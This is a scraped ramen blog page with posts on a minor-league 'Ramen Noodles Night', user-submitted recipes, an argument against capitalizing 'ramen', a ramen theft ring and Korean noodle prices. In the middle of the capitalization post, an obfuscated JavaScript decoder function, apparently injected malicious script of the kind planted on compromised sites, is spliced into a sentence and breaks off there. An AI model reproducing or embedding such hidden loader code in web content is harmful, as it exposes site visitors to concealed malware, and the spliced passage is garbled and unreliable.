Baseball Team Holding “Salute to Ramen Noodles Night”

The Salem Avalance (in Salem, Virginia), an Advanced Class-A baseball team will be holding a “Salute to Ramen Noodles Night” on April 18th at their home game against Lynchburg. The first 1000 fans get a free packet of ramen and you can also get $1 off your ticket if you bring ramen to donate to the local food bank. I think they should add a ramen eating contest, even with dry noodles it would be fun to watch. When I was about 10, I entered a hot-dog eating contest at a Charleston Wheelers game. I haven't been able to eat a hot-dog since and its been 20 years.

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Ramen on “Unwrapped”

A re-run of the show “Unwrapped” on the Food Channel today featured “cheap eats”. The first segment was on how Maruchan makes ramen bricks. It’s airing again tomorrow (March 30 1AM Eastern/Pacific) and then will be back on again in May. Here's the link to details..

Watching the ramen being made was interesting, but some of the info was obvious. For example, all the noodles are the same flavor until the seasoning is added. Duh!

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Tangy Chicken and Liver Ramen

Its rare that we get a first here since the site has been up for so long, but today we have one, our first recipe with liver. I will state that I’ve never eaten liver before and I don't plan on starting with this recipe.

Submitted By: Kip

Submitted From:
Pittsburgh, PA


  • 5 Boneless baby chicken breasts (Diced, uncooked)
  • 1 large beef liver (veins removed, diced, uncooked)
  • 1 bottle A-1 steak sauce
  • 1 can green beans
  • 1 large can of sliced mushroom caps and stems in water
  • 1-2 packages of beef or chicken ramen

Drain Cans of beans and mushrooms, set aside. In a pot, add diced chicken and diced liver. Cook on medium heat with a couple tablespoons of A-1 for flavoring. Once chicken and liver have finished cooking, add the remainder of the bottle of A-1, the beans, and the mushrooms. Raise heat to medium high and bring mixture to a boil. Let it simmer on low for about 15-20 min. Next add a package of ramen and the flavor packet and simmer for 2-3 mins, if this does not bring it to desired consistency, add more ramen.

Should You Capitalize the Word Ramen?

I was poking around Google news today and I noticed an even split between reporters using ramen with and without capitalizing the first letter. I've been known to listen to function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(">Grammar Girl, and so I'd like to make a case against capitalization of the word ramen. The word ramen is a generic term that refers to instant ramen noodles and also to fresh noodles from ramen shops and stalls. There is no one brand that is called "Ramen" at the store. In this respect, ramen should be used like the word rice. You can capitalize "Bob's Rice" if it is a product name, but you would not capitalize the word "rice", so journalists, don't capitalize the word ramen, and if your editor complains, refer them to this post.

Note: I'm sure I made at least 20 grammar mistakes in the above post, but hopefully I still made my point!

March Is National Noodle Month

Nobody ever tells me these things, and although this is mainly pasta focused, apparently March is National Noodle Month. There's some info (and a noodle quiz) in this PDF file. Of course, I will credit the Ramen Blog who figured this out 15 days ago, for beating me to the news.

Fried Ramen and Eggs

I’ve recently fallen back in love with delicious, delicious eggs. It happened when my wife left town for a week and I was forced to shop and cook for myself (which was truly awful). So I stocked up on ramen, and also bought 1 loaf of bread, a dozen eggs, and a small package of bacon. I ate the ramen for lunches, but for dinners, I cooked the bacon, didn't drain the grease and then fried 3 eggs in the hot pan. One egg was for the dog, but two over easy were for me, along with some toast. I could cook the whole mean in 5 minutes, which met my time requirements. I know this isn't too healthy for me, but hey, my wife is back now, so the fun is over. Anyway, here's a way to combine both of my new loves: eggs and bacon.

Submitted By: magpie-moon
Submitted From: Tuscon, Arizona, USA


  • 1 pack ramen, any flavor
  • 2 eggs
  • soy sauce
  • cooking oil
  • sesame oil
  • chopped green onions, optional

Cook ramen noodles till tender but still firm; drain. Toss noodles with a few shakes of sesame oil and 1/2 of seasoning packet (save rest of seasoning packet for something else); set noodles aside.

Beat eggs with one tablespoon of soy sauce. Heat cooking oil (enough to cover bottom of skillet) in skillet until hot, then add noodles, spreading out carefully. Cook noodles until they begin to crisp on the bottom, then turn over carefully with spatula and separate them slightly, adding a bit more oil if they start to stick.

Pour eggs over noodles and cook, mixing gently with a fork or spatula, until done to your liking. Add another shake of sesame oil and chopped green onions to taste.


  • I was a single mother for several years, and my daughter and I had this often as a quick, tasty, and cheap meal.
  • It works best if you use a heavy, hot skillet and don't try stirring the noodles until they begin to crisp up on the bottom. (We liked it with the eggs a bit crispy on the edges, kind of like egg foo young).
  • You have to experiment to get the right amount of cooking oil -- you don't want it to stick, but you want to be careful not to make it too oily.

Ramen Theft Ring

Okay, so they didn’t just steal ramen, but the article specifically calls it out. So remember kids, don’t buy your ramen out of the back of a van…

Three Daly City men accused of stealing nearly $1.8 million worth of ramen noodles, rubber tires, barbecue grills and other consumer goods are facing criminal charges in at least three counties, the California Highway Patrol reported

Here's my favorite part of the article:

Officers noticed a 53-foot trailer loaded with ramen noodles of suspicious provenance.

LINK to Story

I hope that someone submits a recipe called "Ramen Noodles of Suspicious Provenance". I also figure that they sold the ramen from the 53' trailer for about $20...

Ramen Prices Concern South Korea’s President

It seems that in South Korea (AKA Republic of Korea), the price of noodles (ramen and otherwise) is a major gauge of inflation. If only GWB would spend an hour discussing the ever increasing price of noodles in this country I think we'd be able to get some work done in DC.

Korean makers of ramen raised the price for a pack by 100 won (11 cents) earlier this month, causing people to rush to snap them up by the case before the increase.


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